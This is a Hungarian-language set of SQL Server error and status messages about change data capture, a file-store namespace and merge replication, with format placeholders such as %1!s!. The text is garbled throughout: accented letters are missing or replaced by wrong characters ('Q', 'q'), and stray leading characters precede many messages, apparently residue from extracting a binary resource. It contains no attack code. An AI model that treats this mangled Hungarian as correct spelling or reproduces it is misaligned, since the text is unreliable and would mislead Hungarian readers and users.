Az adatvltozs-rgztsi egyedi index sszes oszlopt  NOT NULL -knt kell megadni. A(z)  %2!s!.%3!s!  forrstblhoz egyedi adatvltozs rgztsi indexknt kivlasztott  %1!s!  index nem felel meg ennek a kvetelmnynek. A kijellt index sszes oszlopt adja meg  NOT NULL -knt, vagy vlasszon msik egyedi indexet adatvltozs-rgztsi indexknt, s kldje el jra a krelmet.

Az adatvltozs-rgztsi metaadatok mdostshoz szksges  %1!s!  alkalmazszrolsi krelmet nem engedlyezte a rendszer. A krelem ltal eredmnyl adott rtk %2!s! volt: -1 = idQtllps; -2 = megszaktva; -3 = holtpont feloldsnak ldozata; -999 = rvnyestsi vagy ms hvsi hiba. Vizsglja meg a hiba okt, s kldje el jra a krelmet.

xNem sikerlt frissteni az adatvltozsok rgztsre engedlyezett %1!s! adatbzishoz tartoz metaadatokat. A hiba a(z)  %2!s!  mqvelet vgrehajtsa kzben lpett fel. Az eredmnyl kapott hiba %3!s!:  %4!s! . A mqvelet s a hiba hasznlatval llaptsa meg a sikertelensg okt, s kldje el jra a krelmet.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a particionlt cloldali tbln engedlyezve van az adatvltozsok rgztse, s a @allow_partition_switch paramter belltott rtke nem 1.

Az ALTER TABLE SWITCH utasts vgrehajtsa sikertelen volt, mert a particionlt forrstbln engedlyezve van az adatvltozsok rgztse, s a @allow_partition_switch paramter belltott rtke nem 1.

A(z)  %1!s!  paramter rtknek 1-nek vagy 0-nak kell lennie.

Az adatvltoztats-rgzts trlsi folyamathoz megadott kszbrtknek 0-nl nagyobbnak kell lennie. Ha a sys.sp_cdc_cleanup_change_table trolt eljrs vgrehajtsa sorn ez a hiba fordul elQ, lltsa vissza a feladathoz kapcsold kszbrtket az sp_cdc_change_job trolt eljrs hasznlatval nem negatv rtkre.

Nem sikerlt a cdc.change_tables paramter frisstsvel jelezni a(z) %1!s! adatbzishoz tartoz als kszb vltozst. 

Az adatvltozs-rgzts nem engedlyezhetQ a(z)  %1!s!  tbln, illetve nem vehetQ fel hozz ColumnSet oszlop, mert az adatvltozs-rgzts nem tmogatja a ColumnSet tpus hasznlatt.

xNem sikerlt bejegyzseket felvenni az adatvltozs-rgzts naplsorszm-/idQ-hozzrendelsi tblzatba a nyom kvetett tblkon alkalmazott DML-vltozsok tkrztetse cljbl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A naplolvassi folyamatnak nem sikerlt feldolgoznia a naplrekordokat. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A naplolvassi folyamatnak nem sikerlt feldolgoznia egy DDL-naplrekordot. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!  adatbzis-pillanatkp nem ltezik. Javtsa ki a paramterrtket, s kldje el jra a krelmet.

Nem sikerlt sorokat beszrni az adatvltozs-rgztsi vltozstblkba. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!  adatbzisra vonatkoz rgztsi feladatnak az sp_MScdc_capture_job trolt eljrsra vonatkoz hvsa sikertelen volt. A sikertelen mqvelet oknak megllaptshoz nzze meg a korbbi hibkat.

0A(z)  %2!s! . %3!s!  tblra vonatkozan a nett vltozsok tmogatshoz egyedi sorazonostknt hasznlt  %1!s!  indexben a sorok szma meghaladja a 14 oszlopos korltot. lltsa be a @supports_net_changes paramtert 0 rtkre, vagy a @index_name paramter hasznlatval azonostson olyan egyedi indexet egyedi sorazonostknt, amely 15 oszlopnl kevesebbet tartalmaz, majd kldje el jra a krelmet.

A(z)  %1!s!  adatbzison nincs engedlyezve az adatvltozs-rgzts. EllenQrizze, hogy a helyes adatbzis-krnyezet van belltva, s prblja jbl elvgezni a mqveletet. Az adatvltozs-rgztsre engedlyezett adatbzisokra vonatkoz kimutatsrt krdezze le a sys.databases katalgusnzet is_cdc_enabled oszlopt.

A hvnak nincs engedlye kezdemnyezni a krt mqveletet. Rendszergazdai jogosultsgok szksgesek.

Mr egy msik kapcsolat futtatja az aktulis adatbzisban az adatvltozs-rgztsre vonatkozan az  sp_replcmds  trolt eljrst.

A hvnak nincs engedlye kezdemnyezni a krt mqveletet. Adatbzis-tulajdonosi jogosultsgok szksgesek.

A(z)  %1!s!  adatbzis nem engedlyezhetQ az adatvltozs-rgztsre, mert egy  cdc  nevq adatbzis-felhasznl vagy egy  cdc  nevq sma mr ltezik az aktulis adatbzisban. Ezekre az objektumokra az adatvltozs-rgztsnek kizrlagos mdon van szksge. Dobja el vagy nevezze t a felhasznlt vagy a smt, s prblja jbl elvgezni a mqveletet.

A @role_name paramter nem lehet res. Adjon meg rtket a @role_name paramterhez, s prblja jbl elvgezni a mqveletet. Adjon meg nullt rtknek, ha nem kell szerepkrt hasznlni a rgztett vltozsadatok elrsnek korltozsra.

Nem sikerlt ltrehozni az adatvltozs-rgztsi objektumokat a kvetkezQ adatbzisban:  %1!s! . A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

dSikertelen volt a cdc.lsn_time_mapping tbla karbantartsa a(z)  %1!s!  adatbzisban, amikor az adatvltozat-rgztsre engedlyezett utols adatbzistbla le lett tiltva. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!  adatbzis karbantartsra irnyul krelem sikertelen volt. Az adatbzison nincs engedlyezve az adatvltozs-rgzts.

Az adatvltozs-rgzts nem tudja felhasznlni a rgztsi feladatot a vltozsoknak a naplbl val kinyersre, amikor ugyanazon az adatbzison a tranzakcis replikci is engedlyezve van. Amikor egy adatbzison egyarnt engedlyezve van az adatvltozs-rgzts s a tranzakcis replikci, a logreader gynk hasznlatval nyerhetQk ki a vltozsok a naplbl.

Nem sikerlt elhelyezni az adatvltozs-rgztsi objektumokat a kvetkezQ adatbzisban:  %1!s! . A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

hCsak a sysadmin, a db_owner vagy a db_ddladmin szerepkrk tagjai hajthatjk vgre ezt a mqveletet, ha az adatbzisra vonatkozan engedlyezve van az adatvltozsok rgztse.

A vltozs-szmbavteli fggvnyekre vonatkozan nem sikerlt megadni a SELECT engedlyt a(z)  %1!s!  rgztsi pldny s a(z)  %2!s!.%3!s!  forrstbla szmra a megadott szerepkrhz. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A szerepeltetett oszlopok listjban egy vagy tbb oszlop nem a(z) %1!s! vltozstbla rgztett oszlopa volt.

A frisstst ignylQ jelzQjq oszlopok listjban egy vagy tbb oszlop nem a(z) %1!s! vltozstbla rgztett oszlopa volt.

A(z) %2!s! adatbzisra vonatkozan nem ltezik a(z) %1!s! elnevezett rgztsi pldny.

8Nem sikerlt parancsprogramot ltrehozni az sszes rgztsi pldnyra vonatkozan, amelynek hozzfrshez a hvnak engedlye van. Az sszes ilyen parancsprogram ltrehozshoz a @column_list s a @update_flag_list paramternek egyarnt null rtkqnek vagy resnek kell lennie.

A(z)  %1!s!  adatbzis j als vgpontjt nem sikerlt kiszmtani a(z) %2!s! megQrzsbQl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt elvgezni a(z)  %1!s!  adatbzis vltozstblinak karbantartst. Hiba trtnt, amikor a rendszer az aktulis megQrzsi idQ alapjn megksrelte az adatbzis vltozstblinak karbantartst. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

0A(z)  %1!s!  rgztsi pldny ltal rgztett oszlopok szma meghaladja a maximlisan megengedettet: %2!s!. A @captured_columns_list paramter hasznlatval adja meg az oszlopok olyan rszhalmazt, amely nem haladja meg a megengedett maximumot, s kldje el jra a krelmet.

Nem sikerlt ltrehozni a rgztsi pldnyt, mert az aktulis adatbzisban mr szerepel a(z)  %1!s!  rgztsipldny-nv. Adjon meg explicit egyedi nevet a @capture_instance paramterhez.

8A(z)  %1!s!  rgztsipldny-nv meghaladja a 100 karakteres hosszkorltot. Adjon meg olyan nevet, amely megfelel a hosszsgra vonatkoz megktsnek.

A(z)  %1!s!  indexnv nem a(z)  %2!s!.%3!s!  tbla indexe. Adja meg a tblhoz tartoz rvnyes index nevt.

A(z)  %1!s!  indexnek elsQdleges kulcsnak vagy egyedi indexnek kell lennie a(z)  %2!s!.%3!s!  tblra vonatkozan. Adjon meg olyan indexet, amely legalbb az egyik ilyen kvetelmnynek megfelel.

A(z)  %1!s!  nem tallhat a(z)  %2!s!.%3!s!  forrstbla oszlopaknt. Adjon meg rvnyes oszlopnevet.

A(z) %1!s!.%2!s!  forrstbla nem szerepel az aktulis adatbzisban. EllenQrizze, hogy a helyes adatbzis-krnyezet van belltva. Adjon meg rvnyes sma- s tblanevet az adatbzishoz.

xA(z)  %1!s!  rgztsipldny-nv rvnytelen. Adjon meg rvnyes nevet. Az objektumok nevre vonatkoz szablyokat az SQL Server online knyvek  Azonostk  cmq tmakre ismerteti.

hA(z)  %1!s!  szerepkrnv rvnytelen. Adjon meg rvnyes nevet. Az objektumok nevre vonatkoz szablyokat az SQL Server online knyvek  Azonostk  cmq tmakre ismerteti.

<A @supports_net_changes paramter belltott rtke 1, de a forrstblhoz nincs meghatrozva elsQdleges kulcs, s nincs megadva msodlagos egyedi index.

xA(z)  %1!s!  rgztsi pldnyra s a(z)  %2!s!.%3!s!  forrstblra vonatkozan nem sikerlt eltvoltani a DDL-elQzmnyek bejegyzseit az adatvltozs-rgztsi metaadatok kzl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %2!s!.%3!s! .forrstbla  %1!s!  indexnek oszlopadatait nem sikerlt beolvasni. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

,A rgztett oszlopok listjban megadott oszlopokat nem sikerlt a(z)  %1!s!.%2!s!  forrstbla oszlopainak megfelelQen lekpezni. EllenQrizze, hogy a @captured_column_list paramterben megadott oszlopok megfelelQen vannak tagolva, s egyeztesse a forrstbla oszlopaival.

A nett vltozsokat kvetQ sor egyedi azonostshoz hasznlt oszlopoknak szerepelnik kell a rgztett oszlopok listjban. Vagy a forrstbla elsQdleges kulcsoszlopait, vagy a @index_name paramterben megadott indexhez definilt oszlopokat vegye fel a rgztett oszlopok listjba, majd prblja jbl elvgezni a mqveletet.

Nem sikerlt ltrehozni a(z)  %2!s!.%3!s!  vltozstbla hozzfrsnek korltozshoz megadott  %1!s!  adatbzis-szerepkrt. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

(Nem sikerlt oszlopinformcikat felvenni a(z)  %1!s!.%2!s! forrstblhoz megadott indexre vonatkozan a cdc.index_columns rendszertblba. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt oszlopinformcikat felvenni a(z)  %1!s!.%2!s! forrstblhoz tartoz cdc.captured_columns rendszertblba. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt ltrehozni a vltozstblt a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt ltrehozni a vltozs-szmbavteli fggvnyeket a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt frissteni az adatvltozs-rgztsi metaadatokat a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

xA(z)  %1!s!  rgztsi pldnyra s a(z)  %2!s!.%3!s!  forrstblra vonatkozan nem sikerlt eltvoltani az indexoszlopok bejegyzseit az adatvltozs-rgztsi metaadatok kzl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!  rgztsi pldnyra s a(z)  %2!s!.%3!s!  forrstblra vonatkozan nem sikerlt eltvoltani a rgztett oszlopok bejegyzseit az adatvltozs-rgztsi metaadatok kzl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

(Nem sikerlt eldobni a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz ltrehozott adatvltozs-rgztsi objektumokat. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

0Nem sikerlt eltvoltani a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz tartoz az adatvltozs-rgztsi metaadatokat. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt elvgezni a(z)  %1!s!  rgztsi pldnyhoz tartoz vltozstblk karbantartst a(z) %2!s! als vgponttal. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt beolvasni az adatbzishoz tartoz maximlis naplsorszmot a  sys.fn_cdc_get_max_lsn  fggvnybQl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

0Nem sikerlt beolvasni a(z)  %1!s!  rgztsi pldnnyal trstott vltozstbla minimlis naplsorszmt a  sys.fn_cdc_get_min_lsn  fggvnybQl. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

lA(z)  %2!s!  rgztsi pldnnyal trstott vltozstbla j als vgpontjaknt megadott %1!s! naplsorszm nem esik az adatvltozs-rgzts temezsn [%3!s!, %4!s!] bellre.

Nem sikerlt ltrehozni a fggvnyt a(z)  %1!s!  rgztsi pldnyra vonatkoz sszes vltozs lekrdezshez. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt ltrehozni a fggvnyt a(z)  %1!s!  rgztsi pldnyra vonatkoz nett vltozsok lekrdezshez. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!  adatvltozs-rgztsi pldny nincs engedlyezve a(z)  %2!s!.%3!s!  forrstblhoz. A sys.sp_cdc_help_change_data_capture trolt eljrs hasznlatval ellenQrizze a rgztsi pldny nevt, s prblja jbl elvgezni a mqveletet.

<Nem sikerlt ltrehozni nem frtztt indexet a(z)  %1!s!  rgztsi pldny s a(z)  %2!s!.%3!s!  forrstbla nettvltozs-kvetsnek tmogatshoz. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %1!s!.%2!s!  forrstblra vonatkozan mr kt rgztsi pldny van. Egy tblhoz legfeljebb kt rgztsi pldny tartozhat. Ha a jelenlegi kvetsi belltsok nem megfelelQek, tiltsa le a sys.sp_cdc_disable_table trolt eljrs hasznlatval az elavult pldnyra vonatkozan a vltozsok kvetst, s prblja jbl elvgezni a mqveletet.

0A kvetkezQ paramter nem lehet null vagy res:  %1!s! . Adjon meg egy rtket az elnevezett paramterhez, s prblja jbl elvgezni a mqveletet.

A vltozstbla-karbantartshoz j als vgpontknt megadott %1!s! naplsorszmnak a cdc.lsn_time_mapping tblban szereplQ aktulis bejegyzs start_lsn rtknek kell megfelelnie. Vlasszon olyan naplsorszm rtket, amely megfelel ennek a kvetelmnynek.

Az oszloplistn egy idzett oszlop nincs megfelelQen lezrva. EllenQrizze az oszlopok helyes tagolst, s prblja jbl elvgezni a mqveletet. Tovbbi informcit az online knyvek  Tagolt azonostk  cmq rsze tartalmaz.

Nem sikerlt ltrehozni a dbo.systranschemas tblt a(z)  %1!s!  adatbzisban. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

Nem sikerlt frtztt indexet ltrehozni a dbo.systranschemas tblhoz a(z)  %1!s!  adatbzisban. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %2!s!  adatbzis adatvltozs-rgztsnek engedlyezsekor nem sikerlt ltrehozni a(z)  %1!s!  DDL-esemnyindtt. Az SQL Server rendszer hibanapljban s a rendszernaplban tallhat tovbbi zenetekbQl esetleg tovbbi rszletek lehetnek elrhetQk.

Az adatvltozs-rgztsi feladathoz megadott @maxscans paramternek 0-nl nagyobb rtkqnek kell lennie.

Nem sikerlt memrit foglalni a naplolvas elQzmny-gyorsttra szmra. EllenQrizze, hogy az SQL Server rendszer szmra minden mqvelethez elegendQ memria ll rendelkezsre. EllenQrizze a kiszolgln a fizikai s virtulis belltsokat, s a memriahasznlat vizsglatval ellenQrizze, hogy nem hasznl-e egy msik alkalmazs tl sok memrit.

A [sys].sp_cdc_help_change_data capture trolt eljrs meghvsakor ha a @source_schema vagy a @source_name paramter egyike nem null s nem res, akkor a msik paramternek is nem null rtkqnek s nem resnek kell lennie.

A megadott  %1!s!  fjlcsoport nem rvnyes fjlcsoport a(z)  %2!s!  adatbzisra vonatkozan. Adjon meg rvnyes meglvQ fjlcsoportot, vagy hozza ltre az elnevezett fjlcsoportot, s prblja jbl elvgezni a mqveletet.

A cdc smban trolt tblknl nem engedlyezhetQ az adatvltozsok rgztse.

A(z)  %1!s!  forrstbla a kvetkezQ foglalt oszlopnevek egyikt tartalmazza: __$start_lsn, __$end_lsn, __$seqval, __$operation, illetve __$update_mask. Ahhoz, hogy erre a tblra vonatkozan engedlyezze az adatvltozs-rgztst, adja meg a rgztett oszlopok listjt, s biztostsa, hogy ezek az oszlopok ki legyenek zrva a listrl.

,A(z)  %2!s!  vltozstbla  %1!s!  oszlopt nem sikerlt mdostani a(z)  %3!s!  forrstbla megfelelQ oszlopban vgbement adattpus-vltozsnak megfelelQen. A(z)  %4!s!  forrstblhoz tartoz adatvltozs-rgztsi metaadatok mr nem tkrzik pontosan a forrstblt. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

LNem sikerlt a DDL-elQzmnyadatokat gy frissteni, hogy azok tkrzzk a(z)  %1!s!  vltozstblhoz trstott kvetett tbln alkalmazott oszlopvltozsokat. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

lNem sikerlt frissteni a cdc.captured_columns bejegyzst a(z)  %2!s!  vltozstbla  %1!s!  oszlopra vonatkozan, hogy tkrzze a(z)  %3!s!  forrstbla megfelelQ oszlopnak adattpus-vltozst. A(z)  %4!s!  tblhoz tartoz adatvltozs-rgztsi metaadatok mr nem tkrzik pontosan a forrstblt. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

4A(z)  %2!s!  tbla  %1!s!  egyedi indext az adatvltozs-rgzts hasznlja. Az ezt az indexet hasznl megkts nem dobhat el s nem tilthat le.

<A(z)  %2!s!.%3!s!  tbla  %1!s!  egyedi indexe le van tiltva, s az adatvltozs-rgzts nem tudja egyedi indexknt hasznlni. Engedlyezze az indexet.

xAz objektum nem ltezik, vagy a hozzfrs megtagadva.

xNem sikerlt ltrehozni a(z)  %1!s!  rgztsi pldnyhoz s a(z)  %2!s!.%3!s!  forrstblhoz tartoz vltozstbla adatokkal val feltltshez hasznlt belsQ trolt eljrsokat. A jelenlegi munkamenet korbbi hibinak vizsglatval azonosthatja az okot, s kijavthatja az esetleges kapcsold problmkat.

A(z)  %2!s!  forrstbla  %1!s!  egyedi indext az adatvltozs-rgzts hasznlja. Az index megvltoztatshoz vagy eldobshoz elQbb le kell tiltania a tbln az adatvltozs-rgztst.

Hiba trtnt a naplolvas elQzmny-gyorsttrnak esemnyre val vrakozs kzben. A hibt a belsQ feladattemezQ jelentette, elQfordulhat, hogy csak tranziens jellegq. Prblja jbl elvgezni a mqveletet.

DAz adatvltozs rgztse nincs engedlyezve a(z)  %1!s!.%2!s!  forrstblhoz. Adja meg az adatvltozs-rgztshez engedlyezett tbla nevt. Az adatvltozs-rgztsre engedlyezett tblkra vonatkoz kimutatsrt krdezze le a sys.tables katalgusnzet is_tracked_by_cdc oszlopt.

Nem sikerlt memrit foglalni az adatvltozs-rgzts adatokkal val feltltshez. EllenQrizze, hogy az SQL Server rendszer szmra minden mqvelethez elegendQ memria ll rendelkezsre. EllenQrizze a kiszolgln a fizikai- s virtulismemria-belltsokat, s a memriahasznlat vizsglatval ellenQrizze, hogy nem hasznl-e egy msik alkalmazs tl sok memrit.

xAz adatvltozs-rgzts adatokkal val feltltse sorn a nagy objektumokat tartalmaz egy vagy tbb oszlopban nem sikerlt a binrisobjektum-adatok rsa. EllenQrizze, hogy az SQL Server rendszer szmra minden mqvelethez elegendQ memria ll rendelkezsre. EllenQrizze a kiszolgln a fizikai- s virtulismemria-belltsokat, s a memriahasznlat vizsglatval ellenQrizze, hogy nem hasznl-e egy msik alkalmazs tl sok memrit.

4Az SQL Server rendszer jelen pldnya %1!s!. Az adatvltozs-rgzts csak az Enterprise, Developer s Enterprise Evaluation kiadsokban hasznlhat.

|Az adatvltozs-rgztst nem sikerlt engedlyezni a kvetkezQ adatbzisban:  %1!s! . Az adatvltozs-rgzts a rendszeradatbzisokon, illetve terjesztsi adatbzison nem tmogatott.

A @pollinginterval paramterhez megadott rtk nem haladhatja meg a 24 rt, s nem lehet 0-nl kisebb. Adjon meg olyan lekrdezsi idQkzt (msodpercben), amely nem haladja meg a 24 rt (86 400 msodpercet).

A @maxtrans paramterhez megadott rtk csak nullnl nagyobb lehet.

A megadott %1!s! @job_type paramter nem tmogatott. A @job_type paramterhez N'capture' rtket kell megadni rgztsi feladat jelzshez, illetve N'cleanup' rtket karbantartsi feladat jelzshez.

A(z)  %1!s!  adatbzisra vonatkozan feladatinformcikat tartalmaz adatvltozs-rgztsi feladattbla nem tallhat az msdb rendszeradatbzisban. A  sys.sp_cdc_add_job  trolt eljrs futtatsval hozza ltre a megfelelQ adatvltozs-rgztsi vagy karbantartsi feladatot. A trolt eljrs ltrehozza a szksges feladattblt.

Az adatvltozs-rgzts karbantartsi feladathoz megadott megQrzsi rtknek nullnl nagyobbnak kell lennie, s nem haladhatja meg az 52594800 rtket. A karbantartsi feladat ltrehozsakor vagy mdostsakor adjon meg ebbe a tartomnyba esQ megQrzsi rtket (percben). Ha a sys.sp_cdc_cleanup_change_table trolt eljrs vgrehajtsa sorn ez a hiba fordul elQ, az sp_cdc_change_job trolt eljrs hasznlatval lltsa vissza a feladathoz kapcsold megQrzsi rtket 52594800 alatti nem negatv rtkre.

PA @retention paramter rtke nem adhat meg, amikor a feladat  capture  tpus. Adjon meg NULL rtket a paramterhez, vagy hagyja ki a paramtert az utastsbl.

Az adatvltozs-rgzts karbantartsi feladatnak hozzadsakor vagy mdostsakor nem adhat nulltl eltrQ rtk a @pollinginterval, @maxtrans, @maxscans s a @continuous paramtereknek.

Az adatvltozs-rgzts  %1!s!  feladata nem ltezik az  msdb.dbo.cdc_jobs  rendszertblban. A  sys.sp_cdc_add_job  trolt eljrs hasznlatval vegye fel az adatvltozs-rgztsi feladatot.

A @continuous paramterhez megadott rtk csak 0 vagy 1 lehet.

A @pollinginterval paramterhez megadott rtk csak null vagy 0 lehet, ha a  sys.sp_cdc_scan  trolt eljrs nem folyamatos mdban fut.

A Windows fjlrendszerben megsrltek a megosztsi jogosultsgok {hiba: %1!s!}. Prblja meg jra belltani a megosztsi engedlyeket.

Prvnytelen bemeneti paramter(ek).

<A hozzfrs elutastva.

`Az elem nem ltezik {elemazonost: %1!s!}.

`A mappa mr ltezik {elemazonost: %1!s!}.

`A mappa nem ltezik {elemazonost: %1!s!}.

pA mqvelet srti a hierarchikus nvtr egyedisgt.

\A trol nem res {elemazonost: %1!s!}.

HAz elem nem msolhat nmagba.

A hatkrvizsglat elrsi tja nem ltezik vagy rvnytelen.

4A trol nem ltezik.

HNincs tbb szmba vehetQ elem.

A megadott hatkrben nem ltezik az elem {ItemId: %1!s!, hatkr: %2!s!}.

TA tranzakci nincs aktv llapotban.

hVagy az elem nem ltezik, vagy nem fjl alap.

4Megoszts megsrtse.

A bindtoken tranzakcinak nullnak kell lennie, ha tranzakci krnyezetbQl hvjk meg.

rvnytelen StreamSize s/vagy AllocationSize adatok {elemazonost: %1!s!}.

tA fjl alap elem nem ltezik {elemazonost: %1!s!}.

lNem tallhat a(z)  %1!s!  mappa elemazonostja.

pA(z)  %1!s!  megoszts nem ltezik a katalgusban.

A(z)  %1!s!  megosztst nem sikerlt trlni a katalgusban.

dA trol eleme nem tallhat a katalgusban.

dA trol eleme nem trlhetQ a katalgusban.

tA trol adatbzis neve nem tallhat a katalgusban.

Nem sikerlt ltrehozni a megosztst a(z)  %1!s!  elemelrsi ton.

A(z)  %1!s!  megosztsi elemet nem sikerlt felvenni a katalgusba.

tA(z)  %1!s!  elemelrsi t nem ltezik a trolban.

lA trol llapota nem frissthetQ a katalgusban.

A(z)  %1!s!  elemelrsi t fjl alap elem vagy rszfjn bell tallhat.

Nem sikerlt elindtani a trolkezelQt. Rszletes tjkoztatst a Windows fjlrendszernek frisstsi naplja tartalmaz.

`A(z)  %1!s!  elemelrsi t sszetett elem.

DAz elem trolja nem ltezik.

HA tulajdonos elem nem ltezik.

A NamespaceName tulajdonsg res, vagy meghaladja a maximlis hosszsgot.

Xrvnytelen tpus forrsoldali vgpont

Trvnytelen tpus cloldali vgpont

A fjl alap elemnek sszetett tpus elemnek kell lennie.

hFjl alap elem nem tartalmazhat ms elemeket.

<A forrselem nem ltezik.

TA trolban mr van ilyen nevq elem.

XAz j trol nem lehet elem altrolja.

4Az elem nem ltezik.

xAz elem nem trlhetQ, ha gyermekelemek tartoznak hozz

DA cloldali elem nem ltezik.

<rvnytelen nevq nvtr.

A mqvelet vissza nem vonhat vglegestsq tranzakcibl nem hvhat meg

pAz elemre vonatkoz Win32-fjller meg van nyitva

pElem cserjekor a trolazonost nem mdosthat.

pEz az eljrs fenn van tartva, s nem hvhat meg.

DA fjlfolyam nem lehet null.

dA trolazonostknak azonosnak kell lennik.

A krelem egy eszkz ki-/bemeneti hibja miatt nem hajthat vgre.

XRendszerhiba trtnt {hibakd: %1!s!}.

A rendszerben nem ll rendelkezsre elegendQ memria a krelem feldolgozshoz.

hMeghatrozatlan hiba (vagy hibk) trtnt(ek).

A megadott kzztevQ nincs engedlyezve tvoli kzztevQknt ezen a terjesztQn. EllenQrizze, hogy a @publisher paramterhez megadott rtk helyes, s hogy a kzztevQ a terjesztQn engedlyezve van tvoli kzztevQknt.

|Az MSmerge_subscriptions tbla terjesztsi adatbzis verzifrisstse sikertelen volt. A terjesztsi adatbzis verzifrisstsnek vgrehajtshoz futtassa jra a frisstsi folyamatot.

Az alaprtelmezett megkts nem dobhat az egyestses replikci ltal hasznlt rowguid oszlopra.

Az j oszlop nem vehetQ fel a(z)  %1!s!  cikkhez, mert tbb mind %2!s! repliklt oszlop tartozik hozz.

tAz elQfizets nem szinkronizlhat, mert a cikk smi nem egyeznek a kzztevQnl s az elQfizetQnl. Valsznqleg fggQben lvQ smavltozsok propagldsa mg nem trtnt meg az elQfizetQnl. Az egyestsi gynk ismtelt futtatsval vgezze el a vltoztatsok propaglst s az adatok szinkronizlst.

Az egyestses replikci nzeteit az adatdefincis nyelv (DDL) tpus mqvelet vgrehajtsa utn nem sikerlt ismtelten ltrehozni.

lrvnytelen  %1!s!  rtk van megadva az sp_changemergearticle trolt eljrsnak a(z)  %2!s!  cikken az  identityrangemanagementoption  tulajdonsgra vonatkoz vgrehajtsakor.

LA megktst az egyestses replikci identitskezelsre hasznlja, kzvetlenl nem dobhat el. Az egyests identitskezelsnek letiltshoz hajtsa vgre az sp_changemergearticle @publication, @article,  identityrangemanagementoption ,  none  eljrst, ez a mqvelet megktst is eldobja.

Nem vehetQ fel identitsoszlop, mert a tbla egyestses replikcira kzz van tve.

A tbla mdostsa nem hajthat vgre, mert a tbla egy vagy tbb kiadvnyban a publication_compatibility_level tulajdonsg  90RTM  rtk alatti belltsval van kzztve. Hasznlja az sp_repladdcolumn vagy az sp_repldropcolumn trolt eljrst.

Az sp_repladdcolumn eljrs nem engedi meg a jelenlegi kiadsban j adattpusknt megjelenQ oszlopok hozzadst.

Nem sikerlt vgrehajtani a(z)  %1!s!  parancsot az xp_cmdshell eljrsban. A rszletes hibainformci egy eredmnyhalmazban szerepel.

pNem hasznlhatk elQre szmtott partcik, mert a(z)  %1!s!  s a(z)  %2!s!  cikk illesztsi szqrQ rsze, legalbb egyikkhz pedig CASCADE mqvelettel megadott megkts tartozik.

